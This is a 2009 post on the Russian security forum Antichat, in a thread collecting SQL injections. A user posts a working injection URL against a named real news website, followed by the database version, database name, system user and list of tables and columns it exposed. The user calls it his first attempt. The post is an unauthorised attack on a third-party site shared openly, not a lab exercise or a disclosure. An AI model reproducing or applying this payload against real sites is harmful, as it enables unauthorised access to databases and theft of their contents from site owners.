Форум АНТИЧАТ - SQL Инъекции

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

25.04.2009, 15:18

Rav1n

Познающий

Регистрация: 05.11.2008

Сообщений: 92

Провел на форуме:
1562063

Репутация: 149

http://www.itscoldoutside.com/

Код:

http://www.itscoldoutside.com/news.asp?id=1+or+1=(select+top+1+id+from+dtproperties)--

version: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
db_name: ICONews
system_user: Clive

вот что удалось раскрутить:

Код:

table_name			column_name

VW_test
dtproperties	'id'	'objectid'	'property'	'value'	'uvalue'	'lvalue'	'version'
NewsArticles
sysconstraints	'constid'	'id'	'colid'	'spare1'	'status'	'actions'	'error'
syssegments	'segment'		'name'	'status'
t_jiaozhu		'jiaozhu'
tbl_news
vw_bcpMasterSysobjects	'tag'	'parent'	'Article!1!ID'	'Article!1!BradftonID'	'Article!1! Heading'		'Article!1! DateFeed'
vw_googlenews 
VW_rss
VW_top
VW_xml

p.s. первый раз